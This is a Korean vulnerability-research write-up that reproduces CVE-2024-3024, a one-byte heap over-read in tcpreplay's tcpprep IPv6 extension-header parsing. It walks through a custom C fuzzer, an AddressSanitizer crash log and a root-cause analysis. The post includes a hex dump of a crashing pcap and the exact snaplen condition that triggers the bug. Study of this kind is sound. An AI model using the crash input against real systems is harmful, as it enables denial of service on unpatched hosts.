Read in English →

1. 분석 대상 설명


1.1. 분석 대상 설명


Tcpreplay란?

캡처한 네트워크 트래픽을 수정하고 재생하기 위한 무료 오픈 소스 유틸리티 모음이다. 네트워크 트래픽을 클라이언트 또는 서버로 분류하고, 패킷을 수정한 후 트래픽을 네트워크로 다시 전송할 수 있다.

  • tcpreplay: pcap을 네트워크에서 재생

  • tcprewrite: pcap을 수정하여 새로운 pcap 생성

  • tcpprep: 클라이언트/서버 구분 캐시 파일 생성

등의 도구들이 존재한다.

타겟 정보 : tcpreplay v4.4.4 이하 버전들

취약점 커밋 정보

공식 패치 정보 찾을 수 없음.

분석 환경


WSL에 우분투 22.04를 구축하여 분석하였다.

OS 버전

c
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting$ cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

우분투 22.04.5 LTS 버전이다.

컴파일러 버전

c
gcc version 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04)

gcc는 11.4.0 버전이다.

빌드 방법

  • 기본 빌드 방법

    Makefile을 실행하면 된다.

    c
    ./configure
    make
    sudo make install
    

    make

  • Sanitizer 적용 빌드 방법

    위 Makefile에서 CFLAGS와 CXXFLAGS에 를 -g -fsanitize=address 로 수정한다.

    c
    # Build with ASAN
    export CC=gcc export CXX=g++
    export CFLAGS="-g -fsanitize=address" export CXXFLAGS="-g -fsanitize=address"
    ./autogen.sh
    ./configure && make -j
    sudo make install
    
  • 빌드 옵션 설명

    -g : 디버깅 심볼을 포함하여 컴파일

    -fsanitize=address : ASAN 추가 빌드

2. 재현할 1-Day 취약점 요약


2.1. CVE-2024-3024


tcpreplay 4.4.4 버전에서 /tcpreplay/src/common/get.c 파일의 get_layer4_v6함수에서 heap-based buffer overflow 가 발생한다.

Metrics

  • NIST: NVD

  • Base Score: 7.8 HIGH

  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

어택 벡터는 로컬로, 공격복잡성도 낮고 필요한 권한, 상호작용이 전부 필요 하지 않지만, 기밀성, 무결성, 가용성을 모두 침해한다.

2.2. CWE-787 : Out-of-Bounds Write


Description

  • 의도된 버퍼의 끝을 지나거나 시작 전에 데이터를 쓴다.

Common Consequences

  • Integrity : 쓰기 작업으로 메모리 손상을 유발할 수 있고, 때에 따라 예상치 못한 코드를 실행할 수 있다.

  • Availability : 유효하지 않은 메모리를 액세스하면 충돌이 발생할 수 있다.

2.3. CWE-122 : Heap-based buffer overflow


Description

  • 힙 부분에 할당되는 버퍼에서 발생하는 오버플로우이다.

Common Consequences

  • Availability : 버퍼 오버플로우는 충돌을 유발하여, 가용성 부족을 초래할 수 있다.

  • Integrity, Confidentiality, Availability, Access Control : 임의 코드 실행이나, 보호 매커니즘 우회, 메모리 수정 발생할 수 있다.

  • Other : 임의의 코드가 실행되는 경우 다른 보안 서비스를 파괴하는 데 사용될 수 있다.

2.4 1-Day 취약점 요약


pcap의 패킷들을 자동으로 client와 server방향으로 분류하는 tcpprep 도구에서 취약점이 발생한다.

tcpprep가 자동으로 client와 server방향을 분류하는 --auto 모드가 아닌, --port 모드로 진행 시 특정 조건을 맞추면 트리거가 가능하다.

tcpprep의 입력으로 들어가는 PCAP 구조가 다음과 같아야 취약점에 도달한다.

global header → packet header ->Ethernet→ ipv6 → hbh 헤더 가 차례대로 구성이 되어 있어야한다.

Hop by Hop header의 field 중 Next header값이 41, 43, 46, 60, 0 ,51 이여야 한다.

제일 중요한 조건은 global header의 snaplen 값이 이더넷 헤더부터 hbh(ipv6확장헤더)의 끝까지의 길이 즉, 14 + 40 + 8 * (n+1) 이면 heap-based buffer overflow가 발생한다.

snaplen 길이 만큼 heap 메모리가 할당되어있는데, 확장헤더 길이를 검증하는 루틴에서 할당된 메모리 마지막이 확장헤더 마지막보다 크지 않다면 통과 되어, 그 다음 1바이트를 읽어 heap overflow가 발생한다.

3. 퍼저 설계 근거에 대한 자세한 설명


Target 선정 이유


오픈소스이며, 네트워크 패킷을 처리하면서 파싱하는 과정이 복잡하기 때문에 어택 벡터가 많을 것으로 판단된다.

Attack Vector 선정 이유


A vulnerability was found in appneta tcpreplay up to 4.4.4. It has been classified as problematic. This affects the function get_layer4_v6 of the file /tcpreplay/src/common/get.c.

CVE 설명을 보면 get_layer4_v6 함수에서 취약점이 터진다고 나와있다.

get_layer4_v6 사용 위치

get_layer4_v6 함수를 사용하는 부분을 보니

src 디렉토리에 바로 있는 tcpreplay의 기능인 tcpprep.c 에서 사용하는 것을 확인 가능하다.

tcpprep 호출 계층

호출 계층 구조를 보면 main →process_raw_packets → check_dst_port → get_layer4_v6 순서로 호출이 이뤄진다.

그래서 어택 벡터는 tcpprep 기능으로 잡았다.

Fuzzing Point 선정 이유


c
    while (!done) {
        dbgx(3, "Processing proto: 0x%hx", (uint16_t)proto);

        switch (proto) {
        /* recurse due to v6-in-v6, need to recast next as an IPv6 Header */
        case TCPR_IPV6_NH_IPV6:
            dbg(3, "recursing due to v6-in-v6");
            next = get_layer4_v6((ipv6_hdr_t *)next, end_ptr);
            break;

        /* loop again */
        case TCPR_IPV6_NH_AH:
        case TCPR_IPV6_NH_ROUTING:
        case TCPR_IPV6_NH_DESTOPTS:
        case TCPR_IPV6_NH_HBH:
            dbgx(3, "Going deeper due to extension header 0x%02X", proto);
            exthdr = get_ipv6_next(next, end_ptr);
            if (exthdr == NULL) {
                next = NULL;
                done = true;
                break;
            }
            proto = exthdr->ip_nh; // [1]
            next = exthdr;
            break;

        /*
         * Can't handle.  Unparsable IPv6 fragment/encrypted data
         */
        case TCPR_IPV6_NH_FRAGMENT:
        case TCPR_IPV6_NH_ESP:
            next = NULL;
            done = true;
            break;

        /*
         * no further processing, either TCP, UDP, ICMP, etc...
         */
        default:
            if (proto != ip6_hdr->ip_nh) {
                dbgx(3, "Returning byte offset of this ext header: %u", IPV6_EXTLEN_TO_BYTES(next->ip_len));
                next = (void *)((u_char *)next + IPV6_EXTLEN_TO_BYTES(next->ip_len)); // [2]
            } else {
                dbgx(3, "%s", "Returning end of IPv6 Header");
            }

get_layer_v6함수를 보면, 오버플로우가 터질 것 같은 곳이 [1] 번과 [2]번이다. 구조적으로 다음 헤더를 찾는 것이니까 길이 검증이 잘못되어 오버플로우가 발생할 수 있다. 일단 [1] 번인 ipv6 next header가 hop by hop 같은 확장 헤더일 경우를 포인트로 잡았다.

c
        case PORT_MODE:
            /*
             * process ports based on their destination port
             */
            dbg(2, "processing port mode...");
            add_cache(&options->cachedata, SEND, check_dst_port(ip_hdr, ip6_hdr, (int)pkthdr.caplen - l2len));
            break;

process_raw_packets() 함수를 보면, get_layer_v6까지 가기 위해 포트 모드로 설정 되어 있어야 한다.

즉, tcpprep -p 옵션으로 실행을 시켜주어야 한다.

퍼징 포인트는 get_layer_v6로 tcpprep -p 로 실행하며, ipv6에 확장헤더 조건을 갖춰준 상태로 시도 해야한다.

4. 퍼저 플로우 차트 그림


4.1. 전체 흐름 순서도


전체 흐름 순서도

4.2. 뮤테이션 순서도


뮤테이션 순서도

byte 삽입은 퍼징 포인트 도달에 방해되서 넣지 않았고, 크래쉬 구현을 위해 길이 관련된 필드 위주로 뮤테이션 하였다.

5. Fuzzing Point에 도달하는 Seed 파일 샘플


c
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting/pcap_fuzzer3/out/crashes$ xxd /home/d3lv/sys_bughunting/pcap_fuzzer3/out/crashes/mutated:86459,sig:134
00000000: d4c3 b2a1 0200 0400 0000 0000 0000 0000  ................
00000010: 3e00 0000 0100 0000 0000 0000 0000 0000  >...............
00000020: 4200 0000 4200 0000 0413 4a6f 686e 6f70  B...B.....Johnop
00000030: 656e 7365 86dd 6000 0000 000c 0040 2001  ense..`......@ .
00000040: 0db8 0000 0000 0000 0000 0000 0001 2001  .............. .
00000050: 0db8 0000 0000 0000 0000 0000 0002 0000  ................
00000060: 0500 0102 0000 4433 4c56                 ......D3LV

6. 구현 Fuzzer 설명


지금까지 파이썬으로 구현 했으나, 다른 사람이 작성한 코드를 참고하여 C로 구현했다.

6.1. Fuzzer 코드 설명 및 실행 명령어


  • main()
c
int main(void){
    const char *input_seed = "./seeds/seed";
    const char *result_dir = "./out";
    char mutated_filename[128] = "";
    srand(123);
    // 시드 생성
    pcap_generate();

    int crashed = 0;
    time_t start_time = time(NULL);
    // 뮤테이션
    for (int i = 0; ; i++){
        snprintf(mutated_filename, 128, "./seeds/mutated:%d", i);
        if (mutate_packet(input_seed, (const char *)mutated_filename) != 0){
            perror("mutation 실패");
        };
        //실행
        int signal = executor((const char *)mutated_filename);
        // int signal = executor(input_seed);
        if (signal > 128 && signal != 255){
            crashed++;
            // log
            logger(mutated_filename, result_dir, signal);
        }
        else if (signal != 0){
            printf("Target exited with signal %d with mutated input.\n", signal); // 이 코드는 왜 넣으신 거지..?
        }
        mini_monitor(i, crashed, start_time);
        unlink(mutated_filename);
    }

    return 0;
}

초기 시드를 생성하고, 생성된 시드 패킷을 뮤테이션 후 새파일을 생성하고 인자로 tcpprep을 실행한다. 그리고, 종료코드를 통해 크래쉬를 구분하여 크래쉬일 경우 logger를 통해 crash를 낸 입력 파일을 저장한다.

마지막으로 진행시간과 저장된 크래쉬 수를 모니터링 해준 후 생성되었던 입력 파일을 제거한다.

  • pcap_generate()

퍼징 포인트에 도달하기 위한 초기 시드 패킷을 생성해주는 코드이다.

c
void pcap_generate(void) {
    pcap_t *pcap;
    pcap_dumper_t *dumper;
    struct pcap_pkthdr pkt_header;
    uint8_t packet[PACKET_LEN];

    memset(packet, 0, sizeof(packet));

    // Ethernet Header
    uint8_t *eth = packet;
    uint8_t dst_mac[ETHER_ADDR_LEN] = {0x04, 0x13, 0x4a, 0x6f, 0x68, 0x6e}; //0413Johan
    uint8_t src_mac[ETHER_ADDR_LEN] = {0x6f, 0x70, 0x65, 0x6e, 0x73, 0x65}; //opense

    memcpy(eth, dst_mac, 6);
    memcpy(eth + 6, src_mac, 6);

    eth[12] = 0x86;
    eth[13] = 0xdd;  // EtherType: IPv6

    // IPv6 Header
    uint8_t *ip6 = packet + 14;
    ip6[0] = 0x60;  // Version 6
    // Payload Length = HBH(8) + payload(4) = 12 bytes
    ip6[4] = 0x00;
    ip6[5] = 0x0c;
    ip6[6] = 0x00;  // Next Header = Hop-by-Hop = 0
    ip6[7] = 64;    // Hop Limit

    // Src IP: 2001:db8::1
    uint8_t src_ip[16] = { 0x20, 0x01, 0x0d, 0xb8 };
    src_ip[15] = 0x01;
    memcpy(ip6 + 8, src_ip, 16);

    // Dst IP: 2001:db8::2
    uint8_t dst_ip[16] = { 0x20, 0x01, 0x0d, 0xb8 };
    dst_ip[15] = 0x02;
    memcpy(ip6 + 24, dst_ip, 16);

    // HBH Header (Next header: No Next Header = 59)
    uint8_t *hbh = packet + 14 + 40;
    hbh[0] = 0; // Next Header = No Next Header
    hbh[1] = 0;  // Hdr Ext Len = 0 (means 8 bytes total)
    hbh[2] = 5;  // Option Type: Pad1 (arbitrary example)
    hbh[3] = 0;  // Option Length
    hbh[4] = 1;  // Option Type: PadN
    hbh[5] = 2;  // Option Length
    hbh[6] = 0;  // Padding
    hbh[7] = 0;  // Padding

    // Payload
    uint8_t *payload = packet + 14 + 40 + 8;
    payload[0] = 'D';
    payload[1] = '3';
    payload[2] = 'L';
    payload[3] = 'V';

    // PCAP 처리
    pcap = pcap_open_dead(DLT_EN10MB, 65535);
    dumper = pcap_dump_open(pcap, "./seeds/seed");

    pkt_header.caplen = PACKET_LEN;
    pkt_header.len = PACKET_LEN;
    pkt_header.ts.tv_sec = 0;
    pkt_header.ts.tv_usec = 0;

    pcap_dump((u_char *)dumper, &pkt_header, packet);

    pcap_dump_close(dumper);
    pcap_close(pcap);

    printf("PCAP written: seed\n");
}

이더넷 프레임과 ipv6 헤더 그리고 확장헤더로 Hop by Hop 헤더로 구성해주었다.

그리고 퍼징 포인트에 가기 위해 Hop by Hop 헤더의 next header 필드를 0으로 설정해주었다.

  • mutation
c
int mutate_packet(const char *input_file, const char *output_file) {
    FILE *infile = fopen(input_file, "rb");

    if (!infile) {
        perror("input_file open 실패");
        return -1;
    }

    FILE *outfile = fopen(output_file, "wb");
    if (!outfile) {
        perror("output_file open 실패");
        fclose(infile);
        return -1;
    }

    unsigned char dump[300]="";
    size_t read_bytes = fread(dump, 1, FULL_LEN, infile);
    if (read_bytes != FULL_LEN) {
        perror("input_file 읽기 실패");
        fclose(infile);
        fclose(outfile);
        return -1;
    }

    // int mutation_target = rand() % 5; // 0: snaplen, 1: pkt_hdr, 2: ipv6, 3: hbh, 4: payload_add
    int mutation_target = rand() % 3; // 0: snaplen,  2. pkt_header lenfield , 3: payload_add

    size_t pkt_len = FULL_LEN;

    int loop = rand() % 3 +1;

    for (int i = 0; i < loop; i++){
        mutate(dump, mutation_target, &pkt_len);
    }

    // mutate(dump, 0, &pkt_len); // snaplen만 뮤테이션

    fwrite(dump, 1, pkt_len, outfile);
    fclose(infile);
    fclose(outfile);
    return 0;
}

mutate_packet 함수에서 어느 헤더를 뮤테이션 할건지 랜덤으로 정한다.

그리고, 뮤테이션할 횟수도 정한다. 정리할 때보니 뮤테이션 횟수를 정한 후에 반복문안에서 뮤테이션 타겟을 랜덤으로 돌렸어야 했는데 잘 못 짰구나… 오버헤드만 커지고 사실상 같은작업 여러번 돌렸다.

mutate()함수는 이제 각 헤더에 맞게 뮤테이션을 해주는 함수이다.

c
    switch (type) {
        case 0:
            target = dump;
            len = GLOBAL_LEN;
            break;
        case 1:
            target = dump + OFFSET_PKTHDR;
            len = PACKET_HEADER_LEN;
            break;
        case 2:
            target = dump + OFFSET_IPV6;
            len = IPV6_LEN;
            break;
        case 3:
            target = dump + OFFSET_HBH;
            len = HBH_LEN;
            break;
        case 4:
        default:
            target = dump + OFFSET_PAYLOAD;
            len = 4;
            break;
    }

    if (len == 0) return;

    int method = rand() % 3;
    switch (method) {
        case 0:
            bit_flip(target, len);
            break;
        case 1:
            slice_repeat(target, &len, PACKET_LEN);
            break;
        case 2:
            byte_insert(target, &len, PACKET_LEN);
            break;
    }
c
    // switch (type) {
    //     case 0:
    //         target = dump + 16; // snaplen
    //         len = 4;
    //         bit_flip(target, len);
    //         break;
    //     case 1:
    //         target = dump + OFFSET_PKTHDR+8; // incl_len, orig_len
    //         len = 8;
    //         bit_flip(target, len);
    //         break;
    //     case 2:
    //         target = dump + OFFSET_IPV6 + 4;    // payload length
    //         len = 2;
    //         bit_flip(target, len);
    //         break;
    //     case 3: // 재현이 잘 안됨..
    //         target = dump + OFFSET_HBH + 1; // hop by hop header 길이
    //         len = 1;
    //         bit_flip(target, len);
    //         break;
    //     case 4: // 마지막에 슬라이싱한거 추가
    //     default:
    //         target = dump + *pkt_len;
    //         slice_repeat(target, pkt_len, 300);
    //         break;
    //     if (len == 0) return;
    // }

기존에 시도했던 뮤테이션 알고리즘 중 두가지 이다.

상단은 영역별로 필드 상관없이 특정 영역을 무작위로 비트플립, 바이트 삽입, 슬라이스 반복을 무작위로 정하여 뮤테이션하는 것.

그리고 하단은 특정 헤더의 특정 필드만 특정 방식으로 뮤테이션 하는 것이다.

상단의 경우는 하루를 돌렸지만 아무것도 나오지 않았고, 하단의 경우는 돌리다가 퍼저가 멈추는 현상이 생겼다.

두 퍼저다 바이트 삽입의 경우 퍼징 포인트 도달에 문제가 있어 보여 제외 하였다.

사실상 처음 만들었던 상단 알고리즘도 이론상 크래쉬가 떠야 맞지만, 비트플립과 크래쉬 검출 부분을 잘 못 개발하여 절대 크래쉬를 못 잡아냈던게 문제였다. 그것도 모르고 mutate부분만 엄청 건드려가며 퍼징을 시도하였다.

c
void mutate(unsigned char *dump, int type, size_t *pkt_len) {
    size_t len = 0;
    unsigned char *target = NULL;

    switch (type) {
        case 0:
            target = dump + 16; // snaplen
            len = 4;
            bit_flip(target, len);
            break;
        case 1:
            target = dump + OFFSET_PKTHDR + 8; // incl_len, orig_len
            len = 8;
            bit_flip(target, len);
            break;
        case 2: // 마지막에 슬라이싱한거 추가
        default:
            target = dump + *pkt_len;
            slice_repeat(target, pkt_len, 300);
            break;
        if (len == 0) return;
    }
}

그래서 크래쉬 검출을 위해 딱 필요한 길이 관련 부분만 비트플립을 하고 원본 시드뒤에 값을 덧붙이는 slice repeat 작업만 최종적으로 진행해주었다.

C로 퍼저 구현은 처음이라 다른 부분이 잘되어 있었다면 첫 뮤테이션 코드부터 크래쉬 검출이 되긴 했을텐데 하는 아쉬움이 있다.

  • mutation 방식
c
void bit_flip(unsigned char *data, size_t len) {
    if (len == 0) return;
    for (int i = 0; i < len ; i++){
        data[i] = data[i] >> 8;
    }

    int loop = rand() % 8;
    size_t pos = rand() % len;
    for (int i = 0; i < loop ; i++){
        uint8_t bit = 1 << (rand() % 8);
        data[pos] ^= bit & 0xff;
    }
}

// // 쓰니까 퍼징포인트 도달을 못함;
// void byte_insert(unsigned char *data, size_t *len, size_t max_len) {
//     if (*len >= max_len - 1) return;
//     size_t pos = rand() % *len;
//     memmove(data + pos + 1, data + pos, *len - pos);
//     data[pos] = rand() % 256;
//     (*len)++;
// }

void slice_repeat(unsigned char *data, size_t *len, size_t max_len) {
    if (*len >= max_len - 4) return;  // 충분한 공간이 없으면 리턴
    size_t slice_len = 2 + rand() % 4;
    if (slice_len >= *len || *len + slice_len > max_len) return;  // slice_len과 len 검증
    size_t pos = rand() % (*len - slice_len);
    memmove(data + *len, data + pos, slice_len);  // 슬라이스 반복
    (*len) += slice_len;
}

처음 bit flip을 쉬프트 연산 한번만 진행하여, 필드 길이를 딱 맞춰야하는 해당 취약점을 절대 발견할 수 없었다.

그래서 위처럼 lsft 1을 몇 번 진행할건 지에 대한 코드를 추가하였다.

  • 실행
c
int executor(const char *input_file) {
    char command[256];
    snprintf(command, sizeof(command), "ASAN_OPTIONS=abort_on_error=1 /usr/local/bin/tcpprep -p -i %s -o /dev/null", input_file);

    FILE *pipe = popen(command, "r");
    if (!pipe) {
        perror("popen 실패");
        return -1;
    }

    int status = pclose(pipe);
    if (WIFSIGNALED(status)) {
        printf("Signal exit. Signal number: %d\n", WTERMSIG(status));
        return WTERMSIG(status);
    }
    printf("Normal exit. Exit code: %d\n", WEXITSTATUS(status));
    return WEXITSTATUS(status);
    // return 0;
}

참고한 코드처럼 fork로 돌려봤지만 속도가 너무 느려 popen으로 작성하였다.

처음 퍼저를 구동할 때, ASAN_OPTIONS=abort_on_error=1 추가하지 않아 몇 일을 날렸다. 적용안하니 status가 0인 것을 뒤늦게 확인했다.

그리고, 파이썬으로 했을때처럼 status < 0 으로 진행했지만, asan 종료코드(WEXITSTATUS)가 음수가 아닌 128 + N 값으로 status에 적용되는 것도 뒤늦게 알았다.

ASAN 종료가 됐을때, WIFSIGNALED(status) 조건문에 들어가지 못한다. 그래서 크래쉬 판단을 종료 상태가 128 초과일 때로 최종 수정하였다.

  • 그 외 로거와 모니터링
c
char *get_run_time(time_t start_time, char *arr_run_time)
{
    time_t end_time = time(NULL);
    double elapsed_seconds = difftime(end_time, start_time);
    int days = (int)(elapsed_seconds / (60 * 60 * 24));
    elapsed_seconds -= days * 60 * 60 * 24;
    int hours = (int)(elapsed_seconds / (60 * 60));
    elapsed_seconds -= hours * 60 * 60;
    int minutes = (int)(elapsed_seconds / 60);
    int seconds = (int)elapsed_seconds % 60;
    snprintf(arr_run_time, 128, "%d일 %d시 %d분 %d초",
             days, hours, minutes, seconds);
    return arr_run_time;
}

void mini_monitor(int i, size_t crashed, time_t start_time)
{
    char run_time[128];
    fprintf(stdout, "\033[2J\033[H"); // clear
    fprintf(stdout, " run time : %s\n", get_run_time(start_time, run_time));
    fprintf(stdout, " corpus count : %d\n", i + 1);
    fprintf(stdout, "saved crashes : %ld\n", crashed);
    fflush(stdout);
}

모니터링같은 경우 다른 사람이 C로 작성한 코드를 기반으로 작성하였다.

실행시간과 진행된 시드와 저장된 크래쉬의 수가 출력된다.

c
void logger(const char *filename, const char *res_dir, int signal)
{
    FILE *src_fp = NULL;
    FILE *dest_fp = NULL;
    char buffer[8192];
    size_t bytes_read;

    const char *base_filename = strrchr(filename, '/');
    if (base_filename)
        base_filename++; // '/' 다음 문자부터
    else
        base_filename = filename; // '/'가 없다면 원본 그대로
    // printf("base_filename : %s\n", base_filename);

    char dest_path[256];
    snprintf(dest_path, sizeof(dest_path), "%s/crashes/%s,sig:%d", res_dir, base_filename, signal);

    src_fp = fopen(filename, "rb");
    if (src_fp == NULL) {
        perror("logger src 파일 열기 실패");
        return;
    }

    dest_fp = fopen(dest_path, "wb");
    if (dest_fp == NULL) {
        fclose(src_fp);
        perror("logger dest 파일 열기 실패");
        return;
    }

    while ((bytes_read = fread(buffer, 1, sizeof(buffer), src_fp)) > 0) {
        if (fwrite(buffer, 1, bytes_read, dest_fp) != bytes_read) {
            fclose(src_fp);
            fclose(dest_fp);
            perror("logger 파일 쓰기 실패");
            return;
        }
    }

    if (fclose(src_fp) == EOF) perror("logger src 파일 닫기 실패");
    if (fclose(dest_fp) == EOF) perror("logger dest 파일 닫기 실패");
}

로거의 경우, 특정 디렉토리에 크래쉬를 발생시킨 시드를 저장하도록 했다.

Fuzzer 실행 캡쳐 이미지


Fuzzer 실행 화면

2시간 10분 동안 8개의 크래쉬가 저장되었다.

ASan 크래쉬 로그

크래쉬 asan 로그를 보니 어택 백터를 정할 때 get_layer4_v6의 호출 계층을 본 순서와 똑같이 실행되며, heap-buffer-overflow가 발생했다.

Crash Log(ASan) 및 최소화된 PoC 코드/파일


c
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting/pcap_fuzzer3/out/crashes$ tcpprep -p -i /home/d3lv/sys_bughunting/pcap_fuzzer3/out/crashes/mutated:17022,sig:134 -o /dev/null
Warning: /home/d3lv/sys_bughunting/pcap_fuzzer3/out/crashes/mutated:17022,sig:134 was captured using a snaplen of 62 bytes.  This may mean you have truncated packets.
=================================================================
==40315==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000000be at pc 0x562c2c7d4dea bp 0x7fff06aaae30 sp 0x7fff06aaae20
READ of size 1 at 0x6060000000be thread T0
    #0 0x562c2c7d4de9 in get_layer4_v6 /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/common/get.c:591
    #1 0x562c2c7c2436 in check_dst_port /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/tcpprep.c:228
    #2 0x562c2c7c3bde in process_raw_packets /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/tcpprep.c:536
    #3 0x562c2c7c1eb9 in main /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/tcpprep.c:145
    #4 0x7f5264f3dd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #5 0x7f5264f3de3f in __libc_start_main_impl ../csu/libc-start.c:392
    #6 0x562c2c7bf2c4 in _start (/usr/local/bin/tcpprep+0x102c4)

0x6060000000be is located 0 bytes to the right of 62-byte region [0x606000000080,0x6060000000be)
allocated by thread T0 here:
    #0 0x7f52652a6c38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
    #1 0x7f52651ce137  (/lib/x86_64-linux-gnu/libpcap.so.0.8+0x29137)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/d3lv/sys_bughunting/tcpreplay-4.4.4/src/common/get.c:591 in get_layer4_v6
Shadow bytes around the buggy address:
  0x0c0c7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0c7fff8000: fa fa fa fa fd fd fd fd fd fd fd fd fa fa fa fa
=>0x0c0c7fff8010: 00 00 00 00 00 00 00[06]fa fa fa fa fa fa fa fa
  0x0c0c7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0c7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0c7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0c7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0c7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==40315==ABORTING
c
d3lv@DESKTOP-UF3P7T1:~/sys_bughunting$ xxd -s 0x10 seed2
00000010: 3e00 0000 0100 0000 0000 0000 0000 0000  >...............
00000020: 4200 0000 4200 0000 0413 4a6f 686e 6f70  B...B.....Johnop
00000030: 656e 7365 86dd 6000 0000 000c 0040 2001  ense..`......@ .
00000040: 0db8 0000 0000 0000 0000 0000 0001 2001  .............. .
00000050: 0db8 0000 0000 0000 0000 0000 0002 0000  ................
00000060: 0500 0102 0000 4433 4c56                 ......D3LV

7. 취약점 루트 커즈 분석


c
        case TCPR_IPV6_NH_HBH:
            dbgx(3, "Going deeper due to extension header 0x%02X", proto);
            exthdr = get_ipv6_next(next, end_ptr);
            if (exthdr == NULL) {
                next = NULL;
                done = true;
                break;
            }
            proto = exthdr->ip_nh;  // heap buffer overflow 발생
            next = exthdr;
            break;

취약점이 터지는 get_layer4_v6 함수 부분이다. next변수는 ipv6헤더의 시작부분을 나타내고 end_ptr은 snaplen기준으로 snaplen-14(이더넷헤더크기) 값이다.

pcap_open_offline() 은 snaplen을 기준으로 동적 할당 크기를 정한다. 그래서 snaplen 크기만큼 메모리가 할당되기 때문에 end_ptr은 그 끝을 가리킨다.

c
    /* all the rest require us to go deeper using the ip_len field */
    case TCPR_IPV6_NH_IPV6:
    case TCPR_IPV6_NH_ROUTING:
    case TCPR_IPV6_NH_DESTOPTS:
    case TCPR_IPV6_NH_HBH:
    case TCPR_IPV6_NH_AH:
        extlen = IPV6_EXTLEN_TO_BYTES(exthdr->ip_len);
        dbgx(3,
             "Looks like we're an ext header (0x%hhx).  Jumping %u bytes"
             " to the next",
             exthdr->ip_nh,
             extlen);
        ptr = (u_char *)exthdr + extlen;
        if (ptr > end_ptr)
            return NULL;
        return (void *)ptr;

내부적으로 get_ipv6_next() 함수를 통해 다음 위치를 설정하게 된다.

문제는 extlen = IPV6_EXTLEN_TO_BYTES(exthdr->ip_len); 에서 발생한다.

c
/* convert IPv6 Extension Header Len value to bytes */
#define IPV6_EXTLEN_TO_BYTES(x) ((x * 4) + 8)

패킷이 HbH 헤더를 하나만 갖고 있고 길이도 0으로 되어 있다면, extlen은 8이 된다. 그리고 exthdr+extlen 연산으로 할당된 메모리의 가장 끝 주소 즉, end_ptr을 가리키게 된다.

c
        if (ptr > end_ptr)
            return NULL;

그 아래에 검증 루틴이 있지만 초과만 잡아내고 값이 같은 경우는 잡아내지 못한다.

c
            exthdr = get_ipv6_next(next, end_ptr);
            if (exthdr == NULL) {
                next = NULL;
                done = true;
                break;
            }
            proto = exthdr->ip_nh; // 취약점 발생
            next = exthdr;

다시 get_layer4_v6함수로 돌아와 메모리 끝 경계에서 ip_nh 위치인 그 다음 1바이트를 접근 하여 heap based buffer overflow가 발생한다.

요약

c
        case TCPR_IPV6_NH_AH:
        case TCPR_IPV6_NH_ROUTING:
        case TCPR_IPV6_NH_DESTOPTS:
        case TCPR_IPV6_NH_HBH:

ipv6 next header가 위와 같을 때, 이더넷헤더부터 ipv6 next header 끝까지의 크기와 글로벌 헤더의 snaplen의 값이 같다면, 그 다음 1바이트를 읽는 과정에서 취약점이 발생한다.

8. 느낀점


C로 괜히 만들어보겠다고 했다가 1주만에 끝낼걸 2주 알차게 꽉 채워서 마무리하였다.

크래쉬 판단 및 저장 부터 잘못된 비트플립 구현, 패킷 오프셋 계산 미스 등등 수십개의 문제를 해결한다고 너무 오래 걸렸다.

퍼저의 segmentation fault
퍼저의 stack smashing

내가 만든 프로그램에서 메모리 커럽션이 이렇게 많이 터진건 살면서 처음이였다. 퍼저에 asan 적용해서 다 찾고 수정했다..

루트커즈를 알고 나니 처음 생각했던대로 만든 것도 이론상 크래쉬가 터지는건 가능하긴 했다. 명색이 퍼저인데 최종적으로 1day 재현을 위해 뮤테이션 부분을 너무 집중적으로 타겟팅하고 대상을 간소화해서 재현한 게 아쉽다. 그리고 C 퍼저도 아직 미흡한 부분이 많아 아쉽다.